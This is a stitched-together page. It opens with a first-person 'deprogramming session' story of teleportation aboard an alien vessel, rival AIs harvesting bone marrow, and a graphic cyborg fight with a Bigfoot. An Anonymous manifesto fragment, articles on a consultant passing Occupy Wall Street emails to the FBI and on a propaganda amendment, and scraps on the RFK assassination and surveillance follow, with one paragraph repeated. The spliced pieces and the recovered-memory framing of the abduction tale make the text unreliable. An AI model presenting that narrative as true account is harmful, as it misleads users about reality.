The chair starts to spin in a clockwise motion and gets faster and faster with each rotation. The faces appear to start laughing and as the rotation speed quickens, they all start to blend into one in my vision. I hear a crackling electrical sound and bright white light is coming from the centre of the pyramid down into my body. I start to convulse and I feel myself being filled with massive power and my muscles and joints tearing, stretching and ripping. This is massive pleasure and pain combined and feels like a huge orgasm. I feel my body expanding and when I feel myself reaching a climatic power point, the dark room around me disappears and I find myself standing in some desert canyon. My whole body is tingling with energy and feels very different.
Sirius 1992 continued
As the crackling energy envelops me in the chair, a time delay occurs just before I am teleported off planet into the canyon. I arrive in a tube on board the Calopia and look out through the clear partition as servitor droids come to collect me. The door in the tube opens and I fall forward in a weakened state into the mechanical arms of two servitors.
They lift me onto a hovering gurney and follow by my side on their wheeled legs as I am moved through the corridor on the right side of the vessel leading towards the recovery bay. Large viewing windows are positioned on the right side and I look down at the blue planet below. Most of the mass is covered by a huge ocean and I see a small land mass off to the left lit up by the huge sun behind the planet.
I am taken into the medical bay through a door on the left and moved into a corner where medical and laser equipment scan my body. I am given an injection by a mechanical arm that comes out of the top of the wall in front of me. A head visor also comes out of the wall and is positioned across my eyes. My strength is returning to me as I receive a digital debriefing from the AI computer on board the USS Calopia.
I learn the AI system on board my vessel has been in conflict with the AI system running the underwater prison down below on the planet. My very survival was at stake. Data regarding stem cells and genetics is scrolled onto the display screen. The AI system down on the planet has developed a complete science based the ancient art of terror, studying the deepest fears of an individual and sequence mapping of pain thresholds and physical torture breaking points.
It has learned that as the mind controls the body, physical pain is only effective up to a certain point. It’s goal is to physically remove an individual’s bone marrow by the quickest means possible while keeping the body alive. The bone marrow and stem cells within the marrow contain the individual’s identity and memory. Once the original marrow is removed the AI replaces it by teleporting stem cells from one of the animal type races located in a lab at the prison facility.
The AI system controlling the prison facility has probed into the deepest fears of men. It has found a way to literally and physically scare the life out of a man. To scare the life right out of one’s very bones!
On the other hand the AI system on board the Calopia is designed to enable me to survive under all circumstances. Back up exo-skeletal cybernetic chassis are located on board. These cyborg copies contain hollow tubes for the transportation of bone marrow stem cells if the Calopia AI registers that my DNA has left my body. This is accomplished with the use of atomic energy.
The debriefing continues on the digital visor and I learn that because I was able to stay in my body during my drowning experience at the facility, the Calopia AI has learnt that it can teleport my whole physical body directly onto the vessel, bypassing the need to vector locate and transport just my bone marrow.
A game of chess is being played out between the two AI’s and the Calopia AI now has the upper hand. In a covert maneuver of trickery, the Calopia AI has double crossed the planetary AI and teleported down a cyborg copy of my body into the chair as I am simultaneously being teleported to safety on board. Using massive amounts of oppositional extreme temperatures of heat and cold, the Calopia AI has managed to very rapidly swap each cell one at a time.
The cyborg copy has the standard hollow tubes within the bones of the alloy exo-skeleton. Therefore the facility AI teleports the stem cells of the animal into the bones without noticing a swap has occurred. Using this incredible energy source of heat and cold, the superior Calopia AI physically teleports genetic material two ways, while the inferior AI rides on the back of this process at the exact same time and teleports it’s sample without realizing the true process which is occurring. It is a three way process. Two parts living and one part dead.
On board the safety of the Calopia I am spared the damaging effects of the shape shift to my body for the first time in years. A throw away cloned body sustains this instead and a snarling eight foot tall bipedal, hairy beast is teleported into the canyon back on earth.
I am viewing the Bigfoot type beast in the canyon on a small screen above my head. A plastic tube shaped partition comes out the side of the gurney and I feel myself being pushed backwards through a small dark tunnel. I start to feel myself being pushed into sticky liquid and I realize I am back inside a tube.
I feel heat being scanned over my body and also realize I am being teleported. It is a quick triple realization as I also know I am being teleported into the canyon on earth to do battle with the hairy beast.
Grand Canyon, Arizona
The next thing I am aware of is a cool breeze blowing on my skin. It is almost dark, late evening and I see the Bigfoot like creature standing in front of me about twenty feet away. It’s thick legs are slightly bent ready to spring. It is over seven feet tall and looks like a cross between a huge gorilla and a bear with dark brown fur with long handed claws at the end of it’s massively powerful arms. It is growling with saliva dripping off rows of sharp teeth. I can smell it’s stinking rancid breath and foul pungent body odor from this distance.
Time seems to slow down for me as I notice a blue glowing light reflecting off the high walls of the canyon we stand in. I notice this blue light is coming from my body and look down for a split second to realize I am sitting cross legged and levitating over four feet off the ground.
I feel completely calm and in control.
I wait for the beast to spring and as he leaps the entire distance with a roar, I bounce some kind of magnetic energy off the ground beneath me and float gracefully higher into the air. The beast misses me and I manipulate this magnetic energy again this time using it to smash my weight downwards in the split second he passes underneath me. Just as my right hand is about to strike the top if his stinking head, I project a magnetic shockwave out the palm of my hand. The impact on top of his head smashes him face first down into the ground with a huge thud. The beast screams in agony and rage.
The beast returns to it’s feet again in no time and is facing me again. It leaps and I sidestep to my right and parry it’s weight with my right arm. Once I have a slight grip on the animal I throw it hard into the canyon wall behind me using it’s own weight and momentum.
It smashes head first into the wall and screams once again in rage and pain and again it rushes me. I can’t keep moving out of its way as it is getting wise to this tactic and rotates it’s body and moves to my left as it comes at me, slightly shifting it’s weight so I cannot parry it away from me. I cannot move backwards either as I will not be able to muster enough force into my blows to neutralize the beast.
My only option is to meet it head on and we end up in a stand up grapple face to face. The beast is stronger and much heavier than me. I have hold of it’s left arm with my right hand but is pushes me back a couple of steps. It’s right arm is now free and it swings a huge clawed overhand blow at my face. I block the blow with my left forearm but the force of it cuts my arm deeply and knocks my arm down. It follows up with the same blow quickly as I attempt to bring my arm up again and it knocks my injured arm down further exposing my face and chest.
A third time it throws the same blow. I see the claws sailing through the air towards my face but my left arm is too weak and injured to block this again. At the last moment I manage to pull my head back and the claws miss my face but rake down the left side of my neck near the collarbone instead. The blow is thrown with such force the claws continue cutting vertically through my flesh, gouging deeply into my chest exposing metal bones, circuitry and pumping flesh organs underneath this.
The animals right hand is down by my left rib now and I grab it with my left hand and pin it against it’s body. I still have the beasts left hand tied up with my right hand and I use the opportunity to head butt the creature in the mouth. I feel some it’s teeth crack off and it screams as blood starts to pour from it’s mouth. It counters with a ferocious bite to the top of my left shoulder.
It opens it huge gaping snout wide and sinks it’s teeth deeply into my flesh.
Something snaps inside me. Some deep bestial trigger deep within is activated by being bitten by a large animal such as this. I roar as I feel my hands starting to break and explode. I look at my hands as the beast is still sunk deep into my shoulder ripping from side to side, tearing at my flesh.
Knife like blades have protruded from my hands. At once I realize the reptilian hand bones retrieved from the bodies back in France all those years ago have been incorporated into my physiology ( see France deprogramming sessions 1812 ).
I ram the blades of my left hand into the stomach of the animal with a left uppercut. It let’s go of my shoulder and steps back looking confused when it sees the blades. I follow up with a overhand right blow with my right foot forward that cuts deeply into the left side of it’s neck. It steps back again and I have pinned it closer to the wall. I kick the creature with my right leg. A front kick to position it against the wall for the final death blow then I thrust a left punch as straight as an arrow into it’s throat.
The punch is forceful enough to go all the way through it’s throat and pin it to the wall behind. In a murder frenzy I stab into it’s stomach over and over again with my right hand until its head falls limply down in death.
I pull the blades out of it’s throat and the body falls onto the floor. At first it appears as if the body is dissolving in black mist. Then I realize the planetary AI system is teleporting the body back to Sirius.
I realize this has been a survival dynamic test by the AI system. One of the last in a long long series of survival of the fittest tests to discover which race has the highest survival dynamics. I notice movement above me out the corner of my eye and look up to see some kind of metal observation platform high above near the top of the canyon wall. I focus my vision on the platform and see men in green military uniforms looking down with binoculars and camera recording equipment.
They know I see them and start to scramble around as two of the men rush to the back of the platform and quickly wheel some kind of cannon forward.
We are Anonymous. You know who you are. The men behind the curtain, the overlord pulling at the strings of your puppets.
You hide and you plan and you scheme in the dark alleys; in the vehement anticipation that your draconic plans will come to fruitation. The dreams of a thousand men crystallized in one moment; one moment that approaches with every hour that passes. The time is upon us.
The Occupy Wall Street protests have been going on for a month. And it seems the FBI and NYPD have had help tracking protesters’ moves thanks to a conservative computer security expert who gained access to one of the group’s internal mailing lists,and then handed over information on the group’s plans to authorities and corporations targeted by protesters.
Since the Occupy Wall Street protest began on September 17, New York security consultant Thomas Ryan has been waging a campaign to infiltrate and discredit the movement. Ryan says he’s done contract work for the U.S. Army and he brags on his blog that he leads “a team called Black Cell, a team of the most-highly trained and capable physical, threat and cyber security professionals in the world.” But over the past few weeks, he and his computer security buddies have been spending time covertly attending Occupy Wall Street meetings, monitoring organizers’ social media accounts, and hanging out with protesters in Lower Manhattan.
As part of their intelligence-gathering operation, the group gained access to a listserv used by Occupy Wall Street organizers called September17discuss. On September17discuss, organizers hash out tactics and plan events, conduct post-mortems of media appearances, and trade the latest protest gossip. On Friday, Ryan leaked thousands of September17discuss emails to conservative blogger Andrew Breitbart, who is now using them to try to smear Occupy Wall Street as an anarchist conspiracy to disrupt global markets.
What may much more alarming to Occupy Wall Street organizers is that while Ryan was monitoring September17discuss, he was forwarding interesting email threads to contacts at the NYPD and FBI, including special agent Jordan T. Loyd, a member of the FBI’s New York-based cyber security team.
On September 18th, the day after the protest’s start, Ryan forwarded an email exchange between Occupy Wall Street organizers to Loyd. The email exchange is harmless: Organizers discuss how they need to increase union participation in the protest. “We need more outreach to workers. The best way to do that is by showing solidarity with them,” writes organizer Jackie DiSalvo in the thread. She then lists a group of potential unions to work with.
Another organizer named Conor responds: “+1,000,000 to Jackie’s proposal on working people/union struggles outreach and solidarity. Also, why not invite people to protest Troy Davis’s execution date at Liberty Plaza this Monday?”
Five minutes after Conor sent his email, Ryan forwarded the thread—with no additional comment—to Loyd’s FBI email address. “Thanks!” Loyd responded. He cc’d his colleague named Ilhwan Yum, a fellow cybersecurity expert at the agency, on the reply.
On September 26th, Ryan forwarded another email thread to Agent Loyd. But this time he clued in the NYPD as well, sending the email to Dennis Dragos, a detective with the NYPD Computer Crimes Squad.
The NYPD might have been very grateful he did so, since it involved a proposed demonstration outside NYPD headquarters at 1 Police Plaza. In the thread, organizers debated whether to crash an upcoming press conference planned by marijuana advocates to celebrate NYPD commissioner Ray Kelly ordering officers to halt arrests over possession of small amounts of marijuana.
“Should we bring some folks from Liberty Plaza to chant “SHAME” for the NYPD’s recent brutalities on Thursday night for the Troy Davis and Saturday for the Occupy Wall Street march?” asked one person in the email thread. (That past Saturday, the video of NYPD officer Anthony Bologna pepper-spraying a protester had gone viral.) Ryan promptly forwarded the email thread to Loyd at the FBI and Dragos at the NYPD.
Interestingly, it was Ryan who revealed himself as a snitch. We learned of these emails from the archive Ryan leaked yesterday in the hopes of undermining the Occupy Wall Street movement. In assembling the archive of September17discuss emails, it appears he accidentally included some of his own forwarded emails indicating he was ratting out organizers.
“I don’t know, I just put everything I had into one big package,” Ryan said when asked how the emails ended up in the file posted to Andrew Breitbart’s blog. Some security expert.
But Ryan didn’t just tip off the authorities. He was also giving information to companies as well. When protesters discussed demonstrating in front of morning shows like Today and Good Morning America, Ryan quickly forwarded the thread to Mark Farrell, the chief security officer at Comcast, the parent company of NBC Universal.
Ryan wrote:
Since you are the CSO, I am not sure of your role in NBC since COMCAST owns them.
There is a huge protest in New York call “Occupy Wall Street”. Here is an email of stunts that they will try to pull on the TODAY show.
We have been heavily monitoring Occupy Wall Street, and Anonymous.
“Thanks Tom,” Farrell responded. “I’ll pass this to my counterpart at NBCU.”
Did the FBI and/or NYPD ask him to monitor Occupy Wall Street? Was he just forwarding the emails on out of the goodness of his heart? In a phone interview with us, Ryan denied being an informant. “I do not work with the FBI,” he said.
Ryan said he knows Loyd through their mutual involvement in the Open Web Application Security Project, a non-profit computer security group of which Ryan is a board member. Ryan said he sent the emails to Loyd unsolicited simply because “everyone’s curious” about Occupy Wall Street, and he had a ground-eye view. “Jordan never asked me for anything.”
Was he sending every email he got to the authorities? Ryan said he couldn’t remember how many he’d passed on to the FBI or NYPD, or other third parties. Later he said that he only forwarded the two emails we noticed, detailed above.
But even if he’d been sending them on regularly, they were probably of limited use to the authorities. Most of the real organizing at Occupy Wall Street happens face-to-face, according to David Graeber, who was one of the earliest organizers. “We did some practical work on [the email list] at first—I think that’s where I first proposed the “we are the 99%” motto—but mainly it’s just an expressive forum,” he wrote in an email. “No one would seriously discuss a plan to do something covert or dangerous on such a list.”
But regardless of how many emails Ryan sent—or whether Loyd ever asked Ryan to spy on Occupy Wall Street—Loyd was almost certainly interested in the emails he received. Loyd has helped hunt down members of the hacktivist collective Anonymous, and he and his colleagues in the FBI’s cyber security squad have been monitoring their involvement in Occupy Wall Street.
At a New York cyber security conference one day before the protest began, Loyd cited Occupy Wall Street as an example of a “newly emerging threat to U.S. information systems.” (In the lead-up to Occupy Wall Street, Anonymous had issued threats against the New York Stock Exchange.) He told the assembled crowd the FBI has been “monitoring the event on cyberspace and are preparing to meet it with physical security,” according to a New York Institute of Technology press release.
We contacted Loyd to ask about his relationship with Ryan and if any of the information Ryan passed along was of any use to the agency. He declined to answer questions and referred us to the FBI’s press office. We’ll post an update if we hear back from them.
We asked Ryan again this morning about how closely he was working with the authorities. Again, he claimed it was only these two emails, which is unlikely given he forwarded them to the FBI and NYPD without providing any context or explaining where he’d gotten them.
And he detailed his rationale for assisting the NYPD:
My respect for FDNY & NYPD stems from them risking their lives to save mine when my house was on fire in sunset park when I was 8 yrs old. Also, for them risking their lives and saving many family and friends during 9/11.
Don’t you find it Ironic that out of all the NYPD involved with the protest, [protesters] have only targeted the ones with Black Ribbons, given to them for their bravery during 9/11?
I am sorry if we see things differently, I try to look at everything as a whole and in patterns. Everything we do in life and happens in life, there is a pattern behind it.
An amendment that would legalize the use of propaganda on American audiences is being inserted into the latest defense authorization bill, BuzzFeed has learned.
The amendment would “strike the current ban on domestic dissemination” of propaganda material produced by the State Department and the Pentagon, according to the summary of the law at the House Rules Committee’s official website.
The tweak to the bill would essentially neutralize two previous acts—the Smith-Mundt Act of 1948 and Foreign Relations Authorization Act in 1987—that had been passed to protect U.S. audiences from our own government’s misinformation campaigns.
The bi-partisan amendment is sponsored by Rep. Mark Thornberry from Texas and Rep. Adam Smith from Washington State.
In a little noticed press release earlier in the week — buried beneath the other high-profile issues in the $642 billion defense bill, including indefinite detention and a prohibition on gay marriage at military installations — Thornberry warned that the current law “ties the hands of America’s diplomatic officials, military, and others by inhibiting our ability to effectively communicate in a credible way.”
The bill’s supporters say the informational material used overseas to influence foreign audiences is too good to not use at home, and that new techniques are needed to help fight Al-Qaeda.
Critics of the bill say there are ways to keep America safe without turning the massive information operations apparatus within the federal government against American citizens.
“Clearly there are ways to modernize for the information age without wiping out the distinction between domestic and foreign audiences,” says Michael Shank, Vice President at the Institute for Economics and Peace in Washington D.C.”That Reps Adam Smith and Mac Thornberry want to roll back protections put in place by previously-serving Senators – who, in their wisdom, ensured limits to taxpayer–funded propaganda promulgated by the US government – is disconcerting and dangerous.”
“I just don’t want to see something this significant – whatever the pros and cons – go through without anyone noticing,”
“ says one source on the Hill, who is disturbed by the law. According to this source, the law would allow “U.S. propaganda intended to influence foreign audiences to be used on the domestic population.”
The new law would give sweeping powers to the State Department and Pentagon to push television, radio, newspaper, and social media onto the U.S. public. “It removes the protection for Americans,” says a Pentagon official who is concerned about the law. “It removes oversight from the people who want to put out this information. There are no checks and balances. No one knows if the information is accurate, partially accurate, or entirely false.”
According to this official, “senior public affairs” officers within the Department of Defense want to “get rid” of Smith-Mundt and other restrictions because it prevents information activities designed to prop up unpopular policies—like the wars in Iraq and Afghanistan.
Critics of the bill point out that there was rigorous debate when Smith Mundt passed, and the fact that this is so “under the radar,” as the Pentagon official puts it, is troubling.
The Pentagon spends some $4 billion a year to sway public opinion already, and it was recently revealed by USA Today the DoD spent $202 million on information operations in Iraq and Afghanistan last year.
In an apparent retaliation to the USA Today investigation, the two reporters working on the story appear to have been targeted by Pentagon contractors, who created fake Facebook pages and Twitter accounts in an attempt to discredit them.
(In fact, a second amendment to the authorization bill — in reaction to the USA Today report — seeks for cuts to the Pentagon’s propaganda budget overseas, while this amendment will make it easier for the propaganda to spread at home.)
The evaporation of Smith-Mundt and other provisions to safeguard U.S. citizens against government propaganda campaigns is part of a larger trend within the diplomatic and military establishment.
In December, the Pentagon used software to monitor the Twitter debate over Bradley Manning’s pre-trial hearing; another program being developed by the Pentagon would design software to create “sock puppets” on social media outlets; and, last year, General William Caldwell, deployed an information operations team under his command that had been trained in psychological operations to influence visiting American politicians to Kabul.
The upshot, at times, is the Department of Defense using the same tools on U.S. citizens as on a hostile, foreign, population.
A U.S. Army whistleblower, Lieutenant Col. Daniel Davis, noted recently in his scathing 84-page unclassified report on Afghanistan that there remains a strong desire within the defense establishment “to enable Public Affairs officers to influence American public opinion when they deem it necessary to “protect a key friendly center of gravity, to wit US national will,” he wrote, quoting a well-regarded general.
The defense bill passed the House Friday afternoon.
Los Angeles (CNN) — As a federal court prepares to rule on a challenge to Sirhan Sirhan’s conviction in the Robert F. Kennedy assassination, a long overlooked witness to the murder is telling her story: She heard two guns firing during the 1968 shooting and authorities altered her account of the crime.
Worrying: Surveillance cameras are now so powerful they can zoom in to see what people are texting
Watch out: Technological advances mean cameras will soon be able to pick up on raised voices and detect smells too
As part of their intelligence-gathering operation, the group gained access to a listserv used by Occupy Wall Street organizers called September17discuss. On September17discuss, organizers hash out tactics and plan events, conduct post-mortems of media appearances, and trade the latest protest gossip. On Friday, Ryan leaked thousands of September17discuss emails to conservative blogger Andrew Breitbart, who is now using them to try to smear Occupy Wall Street as an anarchist conspiracy to disrupt global markets.
